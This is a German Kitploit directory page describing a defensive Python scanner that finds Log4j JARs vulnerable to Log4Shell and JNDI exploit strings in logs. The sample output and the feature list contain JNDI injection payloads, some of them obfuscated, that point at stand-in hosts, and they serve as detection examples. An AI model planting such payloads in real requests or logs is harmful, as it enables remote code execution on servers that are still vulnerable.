Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/arpitgupta369/log4shell-scanner
DefensivwerkzeugeSchwachstellenscannerSchwachstellenanalyseLieferkettensicherheitLernen & BildungLog-Analyse
GitHubarpitgupta369/log4shell-scanner

log4shell-scanner

Leichtgewichtiger Scanner, der verwundbare Log4j-Versionen und Log4Shell-Indikatoren (CVE-2021-44228) in einem Dateisystembaum erkennt.

Repository anzeigen
vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

log4shell-scanner

Ein abhängigkeitsfreier, defensiver Scanner für Log4Shell — findet verwundbare log4j-core-JARs und JNDI-Exploit-Muster in Logs und Konfigurationen.

Warum dieses Projekt

Während meiner CERT-In-Rotation arbeitete ich an Bedrohungserkennung, Eingrenzung, Behebung und Threat Hunting — genau dem Arbeitsablauf, den Log4Shell (CVE-2021-44228) im Dezember 2021 in großem Umfang erforderte: jedes verwundbare log4j-core-Artefakt in einer Flotte finden und Logs nach ${jndi:...}-Exploit-Versuchen durchsuchen. Dieser Scanner bildet diesen defensiven Arbeitsablauf in einem einzigen, portablen Python-Skript mit Standardbibliothek ab, das auf dem untersuchten Host nichts installiert haben muss.

Funktionen

  • Archiv-Erkennung — durchläuft einen Verzeichnisbaum nach .jar- / .war- / .ear-Dateien.
  • Maßgebliche Versionserkennung — liest pom.properties und MANIFEST.MF aus jedem Archiv mit zipfile und fällt auf den Dateinamen zurück; unterscheidet echte log4j-core von nicht verwandten JARs.
  • CVE-Kennzeichnung für die Log4Shell-Familie:
    • CVE-2021-44228 (RCE) — log4j-core 2.0-beta9 … 2.14.1
    • CVE-2021-45046 (unvollständiger Fix) — bis 2.15.0
    • CVE-2021-45105 (DoS) — bis 2.16.0
  • Exploit-Muster-Suche — durchsucht Logs/Konfigurationen/Quellcode nach ${jndi:ldap:// und gängigen Verschleierungen (${${lower:j}ndi:…}, durch eine geschweifte Klammer getrenntes j}ndi:, ${::-j}).
  • Umsetzbare Behebung — Upgrade auf 2.17.1+ oder Entfernen von JndiLookup.class, zusätzlich Hinweise zur Überwachung des ausgehenden Datenverkehrs.
  • Enthaltene Beispielstruktur mit einer vorgetäuschten verwundbaren log4j-core-2.14.1.jar (echtes ZIP mit einer log4j-core-pom.properties), einer gepatchten 2.17.1.jar, einem nicht verwandten JAR und einem Log mit JNDI-Payloads.
  • --demo erstellt und scannt die Beispielstruktur Ende-zu-Ende.
  • Reine Python-Standardbibliothek (os, re, zipfile). Keine Abhängigkeiten.

Technologie-Stack

Python 3 (nur Standardbibliothek: argparse, os, re, zipfile).

Installation

root@kitploit:~
git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version   # Python 3.8+
# no dependencies to install

Verwendung

Führe die Demo gegen die enthaltene Beispielstruktur aus:

root@kitploit:~
python log4shell_scan.py --demo

Erwartete Ausgabe (gekürzt):

root@kitploit:~
--- Archives (log4j-core detection) ---
  [ok]         .../commons-lang3-3.12.0.jar
        version: unknown   (via no log4j-core detected)
  [VULNERABLE] .../log4j-core-2.14.1.jar
        version: 2.14.1   (via pom.properties (...))
        !! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
        !! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
        !! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
  [ok]         .../log4j-core-2.17.1.jar
        version: 2.17.1   (via pom.properties (...))

--- Exploit-pattern matches (JNDI payloads in text/logs) ---
  [MATCH] .../access.log (2 hit(s))
        L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
        L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"

--- Summary ---
  Vulnerable archives:      1
  Files with JNDI patterns: 1

Scanne jedes Verzeichnis, dessen Prüfung dir gestattet ist:

root@kitploit:~
python log4shell_scan.py /path/to/deployed/app

Der Prozess-Exit-Code ist 1, wenn etwas Verwundbares oder Verdächtiges gefunden wird, und 0, wenn alles sauber ist — praktisch für CI-/Pipeline-Gating.

Baue die Beispielstruktur jederzeit neu:

root@kitploit:~
python log4shell_scan.py --build-samples

Projektstruktur

root@kitploit:~
log4shell-scanner/
├── log4shell_scan.py      # scanner + sample-tree builder + CLI
├── samples/
│   └── app/
│       ├── libs/
│       │   ├── log4j-core-2.14.1.jar     # fake VULNERABLE jar (real zip)
│       │   ├── log4j-core-2.17.1.jar     # patched jar
│       │   └── commons-lang3-3.12.0.jar  # unrelated jar
│       ├── logs/
│       │   └── access.log                # contains JNDI payloads
│       └── config.properties             # benign (should not match)
├── README.md
├── LICENSE
└── .gitignore

Haftungsausschluss

Nur für lehrreiche, defensive und autorisierte Zwecke. Führe ihn nur gegen Systeme und Artefakte aus, deren Prüfung dir gestattet ist. Der Scanner liest und gleicht nur Muster ab — er führt nichts aus und nutzt nichts aus. Die enthaltenen Beispiel-JARs sind nachgebaute Platzhalter, keine echten Apache-Artefakte, und alle Payload-Hostnamen verwenden nicht routingfähige .test-Namen. Die Versions-CVE-Zuordnungen dienen der Orientierung; überprüfe sie anhand der offiziellen CVE- und Apache-Log4j-Sicherheitshinweise.


Erstellt von Arpit Gupta — LinkedIn · GitHub

Tool herunterladen